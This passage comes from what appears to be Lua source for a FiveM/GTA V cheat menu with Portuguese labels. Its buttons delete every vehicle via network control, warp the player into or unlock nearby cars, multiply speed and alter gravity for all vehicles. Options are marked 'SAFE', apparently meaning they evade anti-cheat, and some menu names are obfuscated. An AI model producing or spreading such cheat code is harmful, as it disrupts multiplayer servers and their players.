O.ThisIsSliders[17].value, O.ThisIsSliders[18].value, 255)
SetTextOutline()
BeginTextCommandDisplayText("STRING")
SetTextCentre(1)
AddTextComponentSubstringPlayerName(b7)
EndTextCommandDisplayText(0.0, 0.0)
ClearDrawOrigin()
end
local function b_(x, y, z, b7, r, g, b)
SetDrawOrigin(x, y, z, 0)
SetTextFont(0)
SetTextProportional(0)
SetTextScale(0.0, 0.16)
SetTextColour(O.ThisIsSliders[19].value,
O.ThisIsSliders[20].value, O.ThisIsSliders[21].value, 255)
SetTextOutline()
BeginTextCommandDisplayText("STRING")
SetTextCentre(1)
AddTextComponentSubstringPlayerName(b7)
EndTextCommandDisplayText(0.0, 0.0)
ClearDrawOrigin()
end
local function bX(bY, bZ, b_)
return coroutine.wrap(
function()
local c0, c1 = bY()
if not c1 or c1 == 0 then
b_(c0)
return
end
local c2 = {handle = c0, destructor = b_}
setmetatable(c2, entityEnumerator)
local c3 = true
repeat
coroutine.yield(c1)
c3, c1 = bZ(c0)
until not c3
c2.destructor, c2.handle = nil, nil
b_(c0)
end
)
end
local function c4()
return bX(FindFirstVehicle, FindNextVehicle,
EndFindVehicle)
end
for dv in c4() do
NetworkRequestControlOfEntity(dv)
DeleteEntity(dv)
end
end
elseif StillPassing40.Button("TP Carro mais Proximo ~g~SAFE")
then
local cA =
GetClosestVehicle(GetEntityCoords(PlayerPedId()), 999999999999, 0, 70)
if not DoesEntityExist(cA) then
return
end
local dO = -1
TaskWarpPedIntoVehicle(PlayerPedId(), cA, dO)
Citizen.Wait(100)
SetVehicleFixed(GetVehiclePedIsIn(GetPlayerPed(-1), false))
SetVehicleDirtLevel(GetVehiclePedIsIn(GetPlayerPed(-1),
false), 0.0)
SetVehicleLights(GetVehiclePedIsIn(GetPlayerPed(-1),
false), 0)
SetVehicleBurnout(GetVehiclePedIsIn(GetPlayerPed(-1),
false), false)
Citizen.InvokeNative(0x1FD09E7390A74D54,
GetVehiclePedIsIn(GetPlayerPed(-1), false), 0)
elseif StillPassing40.Button("Mostrar carros no F8 ~g~SAFE
~r~NEW") then
local O = {
ThisIsSliders = {
[1] = {max = 255, min = 0, value = 247},
[2] = {max = 255, min = 0, value = 255},
[3] = {max = 255, min = 0, value = 0},
[4] = {max = 255, min = 0, value = 255},
[5] = {max = 255, min = 0, value = 255},
[6] = {max = 255, min = 0, value = 255},
[7] = {max = 255, min = 0, value = 0},
[8] = {max = 255, min = 0, value = 0},
[9] = {max = 255, min = 0, value = 0},
[10] = {max = 255, min = 0, value = 255},
[11] = {max = 255, min = 0, value = 255},
[12] = {max = 255, min = 0, value = 255},
[13] = {max = 255, min = 0, value = 255},
[14] = {max = 255, min = 0, value = 0},
[15] = {max = 255, min = 0, value = 0},
[16] = {max = 255, min = 0, value = 255},
[17] = {max = 255, min = 0, value = 255},
[18] = {max = 255, min = 0, value = 255},
[19] = {max = 255, min = 0, value = 0},
[20] = {max = 255, min = 0, value = 76},
[21] = {max = 255, min = 0, value = 255},
[22] = {max = 255, min = 0, value = 0},
[23] = {max = 255, min = 0, value = 68},
[24] = {max = 255, min = 0, value = 255}
},
CustomVs = {
{spawn = "divo", name = "Bugatti Divo"},
{spawn = "g500", name = "Mercedes G500"},
{spawn = "h2carb", name = "Ninja H2"},
{spawn = "teslax", name = "Tesla Model X"},
{spawn = "BENTAYGA17", name = "Bentley Bentayga"},
{spawn = "yz450f", name = "Yamaha YZ450F"},
{spawn = "tmsm", name = "TM450 Supermoto"},
{spawn = "rmz250", name = "Suzuki RMZ 250"},
{spawn = "WRAITH", name = "Rolls Royce Wraith"},
{spawn = "URUS", name = "Lamborghini Urus"},
{spawn = "demon", name = "Dodge Demon"},
{spawn = "BMWI8", name = "BMW i8"},
{spawn = "rrst", name = "Range Rover Vogue"},
{spawn = "M6F13", name = "BMW M6"},
{spawn = "CHARGER", name = "Dodge Charger"},
{spawn = "19gt500", name = "Ford Mustang Shelby"},
{spawn = "exor", name = "Camaro Exorcist"},
{spawn = "SVJ", name = "Lamborghini Aventador SVJ"},
{spawn = "demonhawk", name = "Demonhawk"},
{spawn = "911", name = "Porsche 911 Turbo"},
{spawn = "GT2RS", name = "Porsche GT2"},
{spawn = "CONTSS18", name = "Bentley Continental GT"},
{spawn = "FERRARI812", name = "Ferrari 812"},
{spawn = "BENTAYGA17", name = "Bentley Bentayga"},
{spawn = "458spc", name = "Ferrari 458"},
{spawn = "63LB", name = "Mercedes CLS 63"},
{spawn = "c63scoupe", name = "Mercedes C63s"},
{spawn = "MVISIONGT", name = "Mercedes-Benz AMG Vision
GT"},
{spawn = "sv", name = "Lamborghini Aventador SV"},
{spawn = "GTRC", name = "Mercedes-Benz AMG GT-R"},
{spawn = "SENNA", name = "McLaren Senna"},
{spawn = "C7", name = "Corvette C7"},
{spawn = "LWGTR", name = "Liberty Walk GTR"},
{spawn = "AR8LB", name = "Audi R8"},
{spawn = "g63mg", name = "G63 Mansory"},
{spawn = "scaldarsi", name = "Maybach Emperor"},
{spawn = "bm8c", name = "BMW M8 Coupé"},
{spawn = "jes", name = "Koenigsegg Jesko"},
{spawn = "cczl", name = "Camaro on 32s"},
{spawn = "c8", name = "Corvette C8"},
{spawn = "bentaygam", name = "Bentayga Mansory"},
{spawn = "mlmansory", name = "Levante Mansory"},
{spawn = "dawn", name = "Mansory RR Dawn"},
{spawn = "ursa", name = "Porsche Macan"},
{spawn = "gle63c", name = "GLE Amg"},
{spawn = "sr650fly", name = "Sea Ray 650"},
{spawn = "BMWM8", name = "BMW M8"},
{spawn = "19S650", name = "Maybach S650"},
{spawn = "amggtsmansory", name = "AMG GTS Mansory"},
{spawn = "G63AMG6x6", name = "Brabus 6x6"},
{spawn = "qx56", name = "Infinity QX56"},
{spawn = "vantage", name = "Aston Martin Vantage"},
{spawn = "svr16", name = "Range Rover Sport"},
{spawn = "x6m", name = "BMW X6M"},
{spawn = "a8lw12", name = "Audi A8L"},
{spawn = "corvetteZR1", name = "Corvette ZR1"},
{spawn = "720stc", name = "McLaren 720s"},
{spawn = "TMODEL", name = "Tesla Model3"},
{spawn = "kiagt", name = "Kia Stinger"},
{spawn = "rs5r", name = "Audi RS5R"},
{spawn = "R8v10", name = "Audi R8 V10"},
{spawn = "cayenne", name = "Porsche Cayenne Turbo"},
{spawn = "NISALTIMA", name = "Nissan Altima"},
{spawn = "TR22", name = "Tesla Roadster"},
{spawn = "Mb400", name = "Mercedes EQC400"},
{spawn = "2020silv", name = "2020 Chevrolet
Silverado"},
{spawn = "foxrossa", name = "Ferrari 512 TR 1991"},
{spawn = "M3E30", name = "BMW E30 M3"},
{spawn = "foxharley2", name = "Harley Davidson"},
{spawn = "foxharley1", name = "Harley Davidson
Slimbob"},
{spawn = "denalihd", name = "Denali"},
{spawn = "fox600lt", name = "Mclaren 600LT 2020"},
{spawn = "m6x6", name = "Mercedes 6X6 Geries Brabus
AMG"},
{spawn = "foxrover1", name = "Range Rover Evoque
2016"},
{spawn = "tonkat", name = "Toyota Tonka Hilux"},
{spawn = "kuga", name = "Ford Kuga"},
{spawn = "silvias15", name = "Nissan Silvia S-15"},
{spawn = "rx7rb", name = "Mazda RX7"},
{spawn = "fto", name = "Mitsubishi FTO"},
{spawn = "mr2sw20", name = "Toyota MR-2 GT"},
{spawn = "eclipsegt06", name = "Mitsubishi Eclipse
GT"},
{spawn = "SkylineGTR", name = "SKYLINE GTR R34"},
{spawn = "CAN", name = "Can AM"},
{spawn = "2020ss", name = "2020 Chevrolet Camaro"},
{spawn = "terzo", name = "Lamborghini Terzo"},
{spawn = "rmodveneno", name = "Lamborghini Veneno"},
{spawn = "gurkha", name = "Gang Insurgent"},
{spawn = "p1", name = "2020 McLaren P1"},
{spawn = "viper", name = "Viper SRT"},
{spawn = "TypeR17", name = "Civic TypeR"},
{spawn = "sc18", name = "Lamborghini SC18"},
{spawn = "XJ", name = "Jaguar XJ"},
{spawn = "lp700", name = "Lamborghini LP700"},
{spawn = "TAMPA3", name = "Declasse Drift Tampa V2"},
{spawn = "Huracan", name = "Lamborghini Huracan"},
{spawn = "TESLAPD", name = "Tesla Model"},
{spawn = "S63W222", name = "Mercedes S63"},
{spawn = "foxct", name = "Tesla Cyber Truck"},
{spawn = "foxsterrato", name = "Lamborghini Sterrato
2020"},
{spawn = "foxsian", name = "Lamborghini Sian"},
{spawn = "foxevo", name = "Huracan Evo"},
{spawn = "foxsupra", name = "Toyota Supra GR 2020"},
{spawn = "h3", name = "Hummer 3"},
{spawn = "foxleggera", name = "Aston Martin DBS"},
{spawn = "rmodi8mlb", name = "BMW i8 Liberty Walk"},
{spawn = "CORVETTE", name = "C7 Widebody"},
{spawn = "slingshot", name = "slingshot"},
{spawn = "f8rarri", name = "Ferrari F8"},
{spawn = "forgiato", name = "Hellcat Charger
Widebody"},
{spawn = "ts1", name = "Zenvo TS1"},
{spawn = "jeepg", name = "Jeep Gladiator"},
{spawn = "GRANDGT18", name = "Porsche Panamera Sport"},
{spawn = "2008f150", name = "2008 F150"},
{spawn = "lccreaper", name = "LCC Reaper"},
{spawn = "REMOWER", name = "LawnMower"},
{spawn = "EVO10", name = "Lancer EVO"},
{spawn = "vip8", name = "Dodge Viper"},
{spawn = "ELLCHARG", name = "Ellie SuperCharged"},
{spawn = "G770", name = "Lumma CLR G770"},
{spawn = "IMPALASS2", name = "Chevrolet Impala 1964"},
{spawn = "fox720s", name = "Mclaren 720s"},
{spawn = "CHIRON", name = "Police Chiron"},
{spawn = "polp1", name = "Police Mclaren P1"},
{spawn = "AVENTADOR", name = "Police Aventador"},
{spawn = "Custom", name = "Police R1 Bike"},
{spawn = "CENTENARIO", name = "Police LP770"},
{spawn = "Mustang", name = "Police Mustang"},
{spawn = "rmodamgc63", name = "AMG C63"},
{spawn = "audipd", name = "Police Audi"},
{spawn = "MRAP", name = "Police MRAP"},
{spawn = "CHIRON17", name = "Bugatti Chiron"},
{spawn = "can", name = "Can AM"},
{spawn = "rmodmustang", name = "Mustang"},
{spawn = "beck", name = "F1 Type Car"},
{spawn = "bugatti", name = "Bugatti Veyron"},
{spawn = "foxezri", name = "Ferrari Xezri"},
{spawn = "exgtr", name = "EX GTR"},
{spawn = "f824slw", name = "Dandogg Car"},
{spawn = "rculi", name = "Rolls Royce Cullinan"},
{spawn = "raptor150", name = "Raptor F-150"},
{spawn = "rs6c8", name = "Audi RS6"},
{spawn = "ren_clio_5", name = "Renalt Clio V"},
{spawn = "caprice13", name = "Chevrolet Caprice"},
{spawn = "elantra07", name = "Hyundai Elantra"},
{spawn = "familiac", name = "Mazda Familia"},
{spawn = "trhawk", name = "Jeep TrackHawk"},
{spawn = "ramlh20", name = "Dodge Ram Longhorn"},
{spawn = "mach1", name = "Ford Mustang Mach 1"},
{spawn = "cbr1000rrr", name = "Honda CBR1000RR"},
{spawn = "rmodmi8lb", name = "Liberty Walk i8"},
{spawn = "Skyline", name = "Nissan Skyline GTR"},
{spawn = "boss302", name = "Ford Mustang Boss 302"},
{spawn = "exc530", name = "KTM EXC 530"}
}
},
print("^1----------- ^2Vehicle Finder ^1-----------")
for o, p in pairs(O.CustomVs) do
if IsModelValid(p.spawn) then
print("^2Name: ^0" .. p.name .. "", "^1Spawn:
^0" .. p.spawn .. "")
end
end
print("^1----------- ^2Vehicle Finder ^1-----------")
elseif StillPassing40.Button("Destrancar ~g~SAFE") then
local vehicle =
GetClosestVehicle(GetEntityCoords(PlayerPedId()), 15.0, 0, 70)
if vehicle then
if DoesEntityExist(vehicle) then
SetVehicleDoorsLocked(vehicle, 1)
SetVehicleDoorsLockedForPlayer(vehicle, PlayerId(),
false)
SetVehicleDoorsLockedForAllPlayers(vehicle, false)
end
end
elseif StillPassing40.CheckBox("Boost Buzina ~g~SAFE",
BoostB) then
BoostB = not BoostB
elseif StillPassing40.CheckBox("Veiculo Invisivel ~g~SAFE",
Vehinvi) then
Vehinvi = not Vehinvi
elseif StillPassing40.CheckBox("Nao Cair ~g~SAFE", Naocair) then
Naocair = not Naocair
elseif StillPassing40.ComboBoxSlider("Multiplicar Velocidade",
SpeedModOps, currSpeedIndex, selSpeedIndex, function(currentIndex, selectedIndex)
currSpeedIndex = currentIndex
selSpeedIndex = currentIndex
SpeedModAmt = SpeedModOps[currSpeedIndex]

if SpeedModAmt == 1.0 then

SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(PlayerPedId(), 0), SpeedModAmt)


else

SetVehicleEnginePowerMultiplier(GetVehiclePedIsIn(PlayerPedId(), 0), SpeedModAmt *


20.0)
end
end) then
end

--[[ VEHICLE SPAWNER MENU


elseif StillPassing40.IsMenuOpened('\
118\101\104\105\99\108\101\115\112\97\119\110\101\114\10') then
if StillPassing40.Button("Spawnar Veiculo Pelo Nome") then
local model = GetKeyboardInput("Coloque o modelo do veiculo aqui:")
SpawnVeh(model, PlaceSelf, SpawnEngineOn)
end

-- COMPACTS SPAWNER
elseif StillPassing40.IsMenuOpened('compacts') then
for i = 1, #compacts do
local vehname = GetLabelText(compacts[i])
if vehname == "NULL" then vehname = compacts[i] end -- Avoid
getting NULL (for some reason GetLabelText returns null for some vehs)
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(compacts[i], PlaceSelf, SpawnEngineOn)
end
end

-- SEDANS SPAWNER
elseif StillPassing40.IsMenuOpened('sedans') then
for i = 1, #sedans do
local vehname = GetLabelText(sedans[i])
if vehname == "NULL" then vehname = sedans[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(sedans[i], PlaceSelf, SpawnEngineOn)
end
end

-- SUVs SPAWNER
elseif StillPassing40.IsMenuOpened('suvs') then
for i = 1, #suvs do
local vehname = GetLabelText(suvs[i])
if vehname == "NULL" then vehname = suvs[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(suvs[i], PlaceSelf, SpawnEngineOn)
end
end

-- COUPES SPAWNER
elseif StillPassing40.IsMenuOpened('coupes') then
for i = 1, #coupes do
local vehname = GetLabelText(coupes[i])
if vehname == "NULL" then vehname = coupes[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(coupes[i], PlaceSelf, SpawnEngineOn)
end
end

-- MUSCLE SPAWNER
elseif StillPassing40.IsMenuOpened('muscle') then
for i = 1, #muscle do
local vehname = GetLabelText(muscle[i])
if vehname == "NULL" then vehname = muscle[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(muscle[i], PlaceSelf, SpawnEngineOn)
end
end

-- SPORTSCLASSICS SPAWNER
elseif StillPassing40.IsMenuOpened('sportsclassics') then
for i = 1, #sportsclassics do
local vehname = GetLabelText(sportsclassics[i])
if vehname == "NULL" then vehname = sportsclassics[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(sportsclassics[i], PlaceSelf, SpawnEngineOn)
end
end

-- SPORTS SPAWNER
elseif StillPassing40.IsMenuOpened('sports') then
for i = 1, #sports do
local vehname = GetLabelText(sports[i])
if vehname == "NULL" then vehname = sports[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(sports[i], PlaceSelf, SpawnEngineOn)
end
end

-- SUPER SPAWNER
elseif StillPassing40.IsMenuOpened('super') then
for i = 1, #super do
local vehname = GetLabelText(super[i])
if vehname == "NULL" then vehname = super[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(super[i], PlaceSelf, SpawnEngineOn)
end
end

-- MOTORCYCLES SPAWNER
elseif StillPassing40.IsMenuOpened('motorcycles') then
for i = 1, #motorcycles do
local vehname = GetLabelText(motorcycles[i])
if vehname == "NULL" then vehname = motorcycles[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(motorcycles[i], PlaceSelf, SpawnEngineOn)
end
end

-- OFFROAD SPAWNER
elseif StillPassing40.IsMenuOpened('offroad') then
for i = 1, #offroad do
local vehname = GetLabelText(offroad[i])
if vehname == "NULL" then vehname = offroad[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(offroad[i], PlaceSelf, SpawnEngineOn)
end
end

-- INDUSTRIAL SPAWNER
elseif StillPassing40.IsMenuOpened('industrial') then
for i = 1, #industrial do
local vehname = GetLabelText(industrial[i])
if vehname == "NULL" then vehname = industrial[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(industrial[i], PlaceSelf, SpawnEngineOn)
end
end

-- UTILITY SPAWNER
elseif StillPassing40.IsMenuOpened('utility') then
for i = 1, #utility do
local vehname = GetLabelText(utility[i])
if vehname == "NULL" then vehname = utility[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(utility[i], PlaceSelf, SpawnEngineOn)
end
end

-- VANS SPAWNER
elseif StillPassing40.IsMenuOpened('vans') then
for i = 1, #vans do
local vehname = GetLabelText(vans[i])
if vehname == "NULL" then vehname = vans[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(vans[i], PlaceSelf, SpawnEngineOn)
end
end

-- CYCLES SPAWNER
elseif StillPassing40.IsMenuOpened('cycles') then
for i = 1, #cycles do
local vehname = GetLabelText(cycles[i])
if vehname == "NULL" then vehname = cycles[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(cycles[i], PlaceSelf, SpawnEngineOn)
end
end

-- BOATS SPAWNER
elseif StillPassing40.IsMenuOpened('boats') then
for i = 1, #boats do
local vehname = GetLabelText(boats[i])
if vehname == "NULL" then vehname = boats[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(boats[i], PlaceSelf, SpawnEngineOn)
end
end

-- HELICOPTERS SPAWNER
elseif StillPassing40.IsMenuOpened('helicopters') then
for i = 1, #helicopters do
local vehname = GetLabelText(helicopters[i])
if vehname == "NULL" then vehname = helicopters[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(helicopters[i], PlaceSelf, SpawnEngineOn)
end
end

-- PLANES SPAWNER
elseif StillPassing40.IsMenuOpened('planes') then
for i = 1, #planes do
local vehname = GetLabelText(planes[i])
if vehname == "NULL" then vehname = planes[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnPlane(planes[i], PlaceSelf, SpawnInAir)
end
end

-- SERVICE SPAWNER
elseif StillPassing40.IsMenuOpened('service') then
for i = 1, #service do
local vehname = GetLabelText(service[i])
if vehname == "NULL" then vehname = service[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(service[i], PlaceSelf, SpawnEngineOn)
end
end

-- COMMERCIAL SPAWNER
elseif StillPassing40.IsMenuOpened('commercial') then
for i = 1, #commercial do
local vehname = GetLabelText(commercial[i])
if vehname == "NULL" then vehname = commercial[i] end
local carButton = StillPassing40.Button(vehname)
if carButton then
SpawnVeh(commercial[i], PlaceSelf, SpawnEngineOn)
end
end]]

-- VEHICLE MODS MENU


elseif StillPassing40.IsMenuOpened('vehiclemods') then
if StillPassing40.Button("Cor ~r~Vermelho") then
local playerVeh = GetVehiclePedIsUsing(PlayerPedId(-1))
SetVehicleCustomPrimaryColour(playerVeh, 255, 0, 0)
SetVehicleCustomSecondaryColour(playerVeh, 255, 0, 0)
end
if StillPassing40.Button("Cor ~b~Azul") then
local playerVeh = GetVehiclePedIsUsing(PlayerPedId(-1))
SetVehicleCustomPrimaryColour(playerVeh, 0, 0, 255)
SetVehicleCustomSecondaryColour(playerVeh, 0, 0, 255)
end
if StillPassing40.Button("Cor ~g~Verde") then
local playerVeh = GetVehiclePedIsUsing(PlayerPedId(-1))
SetVehicleCustomPrimaryColour(playerVeh, 0, 255, 0)
SetVehicleCustomSecondaryColour(playerVeh, 0, 255, 0)
end
if StillPassing40.Button("Cor ~y~Amarelo") then
local playerVeh = GetVehiclePedIsUsing(PlayerPedId(-1))
SetVehicleCustomPrimaryColour(playerVeh, 255, 255, 0)
SetVehicleCustomSecondaryColour(playerVeh, 255, 255, 0)
end
if StillPassing40.Button("Cor ~p~Roxo") then
local playerVeh = GetVehiclePedIsUsing(PlayerPedId(-1))
SetVehicleCustomPrimaryColour(playerVeh, 140, 50, 225)
SetVehicleCustomSecondaryColour(playerVeh, 140, 50, 225)
end
if StillPassing40.Button("Cor ~o~Laranja") then
local playerVeh = GetVehiclePedIsUsing(PlayerPedId(-1))
SetVehicleCustomPrimaryColour(playerVeh, 255, 127, 0)
SetVehicleCustomSecondaryColour(playerVeh, 255, 127, 0)
end
if StillPassing40.Button("Cor ~w~Branca") then
local playerVeh = GetVehiclePedIsUsing(PlayerPedId(-1))
SetVehicleCustomPrimaryColour(playerVeh, 255, 255, 255)
SetVehicleCustomSecondaryColour(playerVeh, 255, 255, 255)
end
if StillPassing40.Button("Cor ~u~Preto") then
local playerVeh = GetVehiclePedIsUsing(PlayerPedId(-1))
SetVehicleCustomPrimaryColour(playerVeh, 0, 0, 0)
SetVehicleCustomSecondaryColour(playerVeh, 0, 0, 0)
end

-- VEHICLE COLORS MENU


elseif StillPassing40.IsMenuOpened('vehiclecolors') then
if StillPassing40.MenuButton("Cor primaria", 'vehiclecolors_primary')
then
elseif StillPassing40.MenuButton("Cor secundaria",
'vehiclecolors_secondary') then

end

elseif StillPassing40.IsMenuOpened('vehiclecolors_primary') then


if StillPassing40.MenuButton("Cor classicas", 'primary_classic') then
elseif StillPassing40.MenuButton("Cor fosca", 'primary_matte') then
elseif StillPassing40.MenuButton("Cor metalica", 'primary_metal')
then
end

elseif StillPassing40.IsMenuOpened('vehiclecolors_secondary') then


if StillPassing40.MenuButton("Classic Colors", 'secondary_classic')
then
elseif StillPassing40.MenuButton("Cor fosca", 'secondary_matte')
then
elseif StillPassing40.MenuButton("Cor metalica", 'secondary_metal')
then
end

-- PRIMARY CLASSIC
elseif StillPassing40.IsMenuOpened('primary_classic') then
for i = 1, #classicColors do
if StillPassing40.Button(classicColors[i][1]) then
local veh = GetVehiclePedIsIn(PlayerPedId(), 0)
local prim, sec = GetVehicleColours(veh)
SetVehicleColours(veh, classicColors[i][2], sec)
end
end

-- PRIMARY MATTE
elseif StillPassing40.IsMenuOpened('primary_matte') then
for i = 1, #matteColors do
if StillPassing40.Button(matteColors[i][1]) then
local veh = GetVehiclePedIsIn(PlayerPedId(), 0)
local prim, sec = GetVehicleColours(veh)
SetVehicleColours(veh, matteColors[i][2], sec)
end
end

-- PRIMARY METAL
elseif StillPassing40.IsMenuOpened('primary_metal') then
for i = 1, #metalColors do
if StillPassing40.Button(metalColors[i][1]) then
local veh = GetVehiclePedIsIn(PlayerPedId(), 0)
local prim, sec = GetVehicleColours(veh)
SetVehicleColours(veh, metalColors[i][2], sec)
end
end

-- SECONDARY CLASSIC
elseif StillPassing40.IsMenuOpened('secondary_classic') then
for i = 1, #classicColors do
if StillPassing40.Button(classicColors[i][1]) then
local veh = GetVehiclePedIsIn(PlayerPedId(), 0)
local prim, sec = GetVehicleColours(veh)
SetVehicleColours(veh, prim, classicColors[i][2])
end
end

-- SECONDARY MATTE
elseif StillPassing40.IsMenuOpened('secondary_matte') then
for i = 1, #matteColors do
if StillPassing40.Button(matteColors[i][1]) then
local veh = GetVehiclePedIsIn(PlayerPedId(), 0)
local prim, sec = GetVehicleColours(veh)
SetVehicleColours(veh, prim, matteColors[i][2])
end
end

-- SECONDARY METAL
elseif StillPassing40.IsMenuOpened('secondary_metal') then
for i = 1, #metalColors do
if StillPassing40.Button(metalColors[i][1]) then
local veh = GetVehiclePedIsIn(PlayerPedId(), 0)
local prim, sec = GetVehicleColours(veh)
SetVehicleColours(veh, prim, metalColors[i][2])
end
end

-- VEHICLE TUNING MENU


elseif StillPassing40.IsMenuOpened('vehicletuning') then
if StillPassing40.Button("Max ~p~Exterior Tuning") then
MaxOut(GetVehiclePedIsUsing(PlayerPedId()))
elseif StillPassing40.Button("Max ~p~Performance") then
engine(GetVehiclePedIsUsing(PlayerPedId()))
elseif StillPassing40.Button("Max All ~p~Tuning") then
engine1(GetVehiclePedIsUsing(PlayerPedId()))
end

-- VEHICLE MENU (WIP)


elseif StillPassing40.IsMenuOpened('vehiclemenu') then
if StillPassing40.CheckBox("Salvar Veiculo", SavedVehicle, "None",
"Veiculo salvo: "..pvehicleText) then
if IsPedInAnyVehicle(PlayerPedId(), 0) and not SavedVehicle then
SavedVehicle = not SavedVehicle
RemoveBlip(pvblip)
local vehicle = GetVehiclePedIsIn(PlayerPedId(), 0)
pvehicle = GetVehiclePedIsIn(PlayerPedId(), 0)
pvblip = AddBlipForEntity(pvehicle)
SetBlipSprite(pvblip, 225) -- Full list of blips
https://marekkraus.sk/gtav/blips/list.html
SetBlipColour(pvblip, 84) -- Full list of the
available blips colors https://i.imgur.com/Hvyx6cE.png
ShowInfo("~p~Current Vehicle Saved")
pvehicleText =
GetLabelText(GetDisplayNameFromVehicleModel(GetEntityModel(pvehicle))).."
"..pvehicle
elseif SavedVehicle then
SavedVehicle = not SavedVehicle
pvehicle = nname
RemoveBlip(pvblip)
ShowInfo("~b~Removido")
else
ShowInfo("~p~Voce nao esta em um veiculo")
end

-- Whenever the entity changes, the blip and entity needs to be


reseted. Lots of other checks need to be made. (WIP)

elseif StillPassing40.CheckBox("Left Front Door", LeftFrontDoor,


"Closed", "Opened") then
LeftFrontDoor = not LeftFrontDoor
local vehicle = GetVehiclePedIsIn(PlayerPedId(), 0)
if LeftFrontDoor then
SetVehicleDoorOpen(vehicle, 0, nname, true)
elseif not LeftFrontDoor then
SetVehicleDoorShut(vehicle, 0, true)
end
elseif StillPassing40.CheckBox("Right Front Door", RightFrontDoor,
"Closed", "Opened") then -- Is closing when the driver seat has someone
RightFrontDoor = not RightFrontDoor
local vehicle = GetVehiclePedIsIn(PlayerPedId(), 0)
if RightFrontDoor then
SetVehicleDoorOpen(vehicle, 1, nname, true)
elseif not RightFrontDoor then
SetVehicleDoorShut(vehicle, 1, true)
end
elseif StillPassing40.CheckBox("Left Back Door", LeftBackDoor,
"Closed", "Opened") then
LeftBackDoor = not LeftBackDoor
local vehicle = GetVehiclePedIsIn(PlayerPedId(), 0)
if LeftBackDoor then
SetVehicleDoorOpen(vehicle, 2, nname, true)
elseif not LeftBackDoor then
SetVehicleDoorShut(vehicle, 2, true)
end
elseif StillPassing40.CheckBox("Right Back Door", RightBackDoor,
"Closed", "Opened") then
RightBackDoor = not RightBackDoor
local vehicle = GetVehiclePedIsIn(PlayerPedId(), 0)
if RightBackDoor then
SetVehicleDoorOpen(vehicle, 3, nname, true)
elseif not RightBackDoor then
SetVehicleDoorShut(vehicle, 3, true)
end
elseif StillPassing40.CheckBox("Hood", FrontHood, "Closed", "Opened")
then
FrontHood = not FrontHood
local vehicle = GetVehiclePedIsIn(PlayerPedId(), 0)
if FrontHood then
SetVehicleDoorOpen(vehicle, 4, nname, true)
elseif not FrontHood then
SetVehicleDoorShut(vehicle, 4, true)
end
elseif StillPassing40.CheckBox("Trunk", Trunk, "Closed", "Opened") then
Trunk = not Trunk
local vehicle = GetVehiclePedIsIn(PlayerPedId(), 0)
if Trunk then
SetVehicleDoorOpen(vehicle, 5, nname, true)
elseif not Trunk then
SetVehicleDoorShut(vehicle, 5, true)
end
elseif StillPassing40.CheckBox("Back", Back, "Closed", "Opened") then
Back = not Back
local vehicle = GetVehiclePedIsIn(PlayerPedId(), 0)
if Back then
SetVehicleDoorOpen(vehicle, 6, nname, true)
elseif not Back then
SetVehicleDoorShut(vehicle, 6, true)
end
elseif StillPassing40.CheckBox("Back 2", Back2, "Closed", "Opened")
then
Back2 = not Back2
local vehicle = GetVehiclePedIsIn(PlayerPedId(), 0)
if Back2 then
SetVehicleDoorOpen(vehicle, 7, nname, true)
elseif not Back2 then
SetVehicleDoorShut(vehicle, 7, true)
end
end
-- WORLD OPTIONS MENU
elseif StillPassing40.IsMenuOpened('\119\111\114\108\100\10') then
if StillPassing40.MenuButton("Weather Changer | ~p~Client Side",
'weather') then
elseif StillPassing40.MenuButton("Time Changer", 'time') then
elseif StillPassing40.CheckBox("Disable Cars", CarsDisabled) then
CarsDisabled = not CarsDisabled
elseif StillPassing40.CheckBox("Disable Guns", GunsDisabled) then
GunsDisabled = not GunsDisabled
elseif StillPassing40.CheckBox("Clear Streets", ClearStreets) then
ClearStreets = not ClearStreets
elseif StillPassing40.CheckBox("Noisy Cars", NoisyCars) then
NoisyCars = not NoisyCars
if not NoisyCars then
for k in EnumerateVehicles() do
SetVehicleAlarmTimeLeft(k, 0)
end
end
elseif StillPassing40.ComboBoxSlider("Gravity Amount", GravityOpsWords,
currGravIndex, selGravIndex, function(currentIndex, selectedIndex)
currGravIndex = currentIndex
selGravIndex = currentIndex
GravAmount = GravityOps[currGravIndex]

for k in EnumerateVehicles() do
RequestControlOnce(k)
SetVehicleGravityAmount(k, GravAmount)
end
end) then
end

elseif StillPassing40.IsMenuOpened('time') then


if StillPassing40.CheckBox("Christmas Weather", XMAS) then
XMAS = not XMAS
if XMAS then
SetForceVehicleTrails(true)
SetForcePedFootstepsTracks(true)
SetWeatherTypePersist("XMAS")
SetWeatherTypeNowPersist("XMAS")
SetWeatherTypeNow("XMAS")
SetOverrideWeather("XMAS")
end
elseif StillPassing40.CheckBox("Blizzard Weather",
BLIZZARD) then
BLIZZARD = not BLIZZARD
if BLIZZARD then
SetWeatherTypePersist("BLIZZARD")
SetWeatherTypeNowPersist("BLIZZARD")
SetWeatherTypeNow("BLIZZARD")
SetOverrideWeather("BLIZZARD")
end
elseif StillPassing40.CheckBox("Foggy Weather", FOGGY) then
FOGGY = not FOGGY
if FOGGY then
SetWeatherTypePersist("FOGGY")
SetWeatherTypeNowPersist("FOGGY")
SetWeatherTypeNow("FOGGY")
SetOverrideWeather("FOGGY")
end
end

-- OBJECT SPAWNER MENU


elseif StillPassing40.IsMenuOpened('\
